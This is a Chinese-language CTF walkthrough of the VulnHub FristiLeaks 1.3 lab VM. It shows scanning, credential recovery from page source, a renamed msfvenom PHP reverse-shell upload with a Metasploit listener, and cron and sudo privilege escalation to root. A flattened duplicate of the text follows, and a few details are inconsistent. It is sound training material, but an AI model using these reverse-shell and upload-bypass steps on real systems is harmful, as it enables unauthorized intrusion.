VulnHub-FristiLeaks: 1.3-靶机渗透学习
字数 1346 2025-08-15 21:33:00

FristiLeaks: 1.3 靶机渗透教学文档

靶机概述

  • 名称:FristiLeaks 1.3
  • 难度:中级(CTF)
  • 发布日期:2015年12月14日
  • 目标:获取root权限
  • 描述:用于荷兰非正式黑客聚会的小型VM,设计为在几小时内攻破,无需调试器或逆向工程

环境准备

  1. 靶机MAC地址设置为:08:00:27:A5:A6:76
  2. 启动靶机后记录显示的IP地址

信息收集阶段

1. Nmap扫描

nmap -sV -p- <靶机IP>

发现开放端口:

  • 80/tcp http

2. Web目录扫描

使用dirb扫描web目录:

dirb http://<靶机IP>

在robots.txt中发现几个目录,但无直接有用信息

3. 关键发现

访问/fristi目录发现管理员登录页面

Web应用渗透

1. 源代码分析

查看登录页面源代码,发现一段base64编码:

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5Q5owBTWmiNdt7OefMkfbfe8Ks4X4FFSZH5UQ2EOsJjaW8b1/1S5qsjhYRCALB
bg11Ai2kP755E5dP0SlTZ8Z0Q5nkhQ+9t+QqQE4BBgABBAoAAQAJAAAAAAA=

2. 解码分析

  1. 解码后发现乱码,但提示PNG格式
  2. 将输出保存为test.png:
echo "base64编码内容" | base64 -d > test.png
  1. 使用ImageMagick查看:
apt-get install imagemagick
display test.png
  1. 图片中显示用户名和密码:
    • 用户名:eezeepz
    • 密码:kekkekkekkekkEkkEk

3. 登录系统

使用获得的凭据登录/fristi后台

获取初始访问权限

1. 文件上传绕过

  1. 发现文件上传功能,但限制为png/jpg/gif格式
  2. 使用msfvenom生成PHP反弹shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=443 -f raw > shell.php
  1. 将shell.php重命名为shell.png上传

2. 设置监听

配置Metasploit监听:

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT 443
exploit

3. 触发shell

访问上传的文件路径获取meterpreter会话

权限提升阶段

1. 初始枚举

  1. 当前用户为apache
  2. 检查/home目录发现eezeepz用户
  3. 查看/home/eezeepz/notes.txt内容:
Hi eezeepz,

I have made this simple notes editor for you. I know you love to write notes.
But I have some bad news. The new version has a bug which makes your notes
only readable by the admin user. I will fix this as soon as possible.

For now you can use this temporary solution to execute commands:

Make a file in /tmp/runthis and put in the command you want to execute as admin.
For example to execute /home/admin/chmod 777 /home/admin you put in the file:
/home/admin/chmod 777 /home/admin
or
/usr/bin/chmod 777 /home/admin

The output will be in /tmp/cronresult.

Sorry for the inconvenience.

PS. I have given you a nice util to make base64 life easier.

2. 利用临时解决方案

  1. 创建/tmp/runthis文件:
echo '/home/admin/chmod 777 /home/admin' > /tmp/runthis
  1. 等待命令执行后,检查/tmp/cronresult
  2. 现在可以访问/home/admin目录

3. 解密关键文件

在/home/admin目录下发现:

  • cryptedpass.txt
  • cryptedpass.txt.bak
  • crypt.py

解密脚本内容:

import base64,codecs,sys

def encodeString(str):
    destring = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(destring)

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

编写解密脚本:

import base64,codecs,sys

def decodeString(str):
    base64_decoded = base64.b64encode(str)
    rot13_encoded = codecs.encode(base64_decoded[::-1], 'rot13')
    return rot13_encoded

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print "Usage: python decrypt.py <string_to_decode>"
        sys.exit(1)
    
    input_string = sys.argv[1]
    print decodeString(input_string)

解密文件内容:

  1. 解密mVGZ3O3omkJLmy2pcuTq得到:thisisalsopw123
  2. 解密=RFn0AKnlMHMPIzpyuTI0ITG得到:LetThereBeFristi!

4. 提升至fristigod用户

尝试使用解密获得的密码:

su fristigod
密码:LetThereBeFristi!

5. 最终提权

  1. 检查sudo权限:
sudo -l

发现可以在/var/fristigod/.secret_admin_stuff/doCom下执行任何root权限命令

  1. 检查.bash_history发现历史命令:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
  1. 执行提权:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -

现在获得root权限

总结与学习要点

  1. 信息收集:全面的端口扫描和目录爆破是基础
  2. 源代码审查:不要忽视页面源代码中隐藏的线索
  3. 文件上传绕过:通过修改文件扩展名绕过限制
  4. 权限提升技巧
    • 利用不安全的临时文件执行机制
    • 分析自定义加密算法进行解密
    • 检查sudo权限和.bash_history寻找提权路径
  5. 自定义脚本分析:遇到加密内容时,理解并逆向加密算法是关键

通过这个靶机,我们学习了一个完整的渗透测试流程,从信息收集到最终提权,每个环节都提供了有价值的学习点。

FristiLeaks: 1.3 靶机渗透教学文档 靶机概述 名称:FristiLeaks 1.3 难度:中级(CTF) 发布日期:2015年12月14日 目标:获取root权限 描述:用于荷兰非正式黑客聚会的小型VM,设计为在几小时内攻破,无需调试器或逆向工程 环境准备 靶机MAC地址设置为:08:00:27:A5:A6:76 启动靶机后记录显示的IP地址 信息收集阶段 1. Nmap扫描 发现开放端口: 80/tcp http 2. Web目录扫描 使用dirb扫描web目录: 在robots.txt中发现几个目录,但无直接有用信息 3. 关键发现 访问/fristi目录发现管理员登录页面 Web应用渗透 1. 源代码分析 查看登录页面源代码,发现一段base64编码: 2. 解码分析 解码后发现乱码,但提示PNG格式 将输出保存为test.png: 使用ImageMagick查看: 图片中显示用户名和密码: 用户名:eezeepz 密码:kekkekkekkekkEkkEk 3. 登录系统 使用获得的凭据登录/fristi后台 获取初始访问权限 1. 文件上传绕过 发现文件上传功能,但限制为png/jpg/gif格式 使用msfvenom生成PHP反弹shell: 将shell.php重命名为shell.png上传 2. 设置监听 配置Metasploit监听: 3. 触发shell 访问上传的文件路径获取meterpreter会话 权限提升阶段 1. 初始枚举 当前用户为apache 检查/home目录发现eezeepz用户 查看/home/eezeepz/notes.txt内容: 2. 利用临时解决方案 创建/tmp/runthis文件: 等待命令执行后,检查/tmp/cronresult 现在可以访问/home/admin目录 3. 解密关键文件 在/home/admin目录下发现: cryptedpass.txt cryptedpass.txt.bak crypt.py 解密脚本内容: 编写解密脚本: 解密文件内容: 解密mVGZ3O3omkJLmy2pcuTq得到:thisisalsopw123 解密=RFn0AKnlMHMPIzpyuTI0ITG得到:LetThereBeFristi ! 4. 提升至fristigod用户 尝试使用解密获得的密码: 5. 最终提权 检查sudo权限: 发现可以在/var/fristigod/.secret_ admin_ stuff/doCom下执行任何root权限命令 检查.bash_ history发现历史命令: 执行提权: 现在获得root权限 总结与学习要点 信息收集 :全面的端口扫描和目录爆破是基础 源代码审查 :不要忽视页面源代码中隐藏的线索 文件上传绕过 :通过修改文件扩展名绕过限制 权限提升技巧 : 利用不安全的临时文件执行机制 分析自定义加密算法进行解密 检查sudo权限和.bash_ history寻找提权路径 自定义脚本分析 :遇到加密内容时,理解并逆向加密算法是关键 通过这个靶机,我们学习了一个完整的渗透测试流程,从信息收集到最终提权,每个环节都提供了有价值的学习点。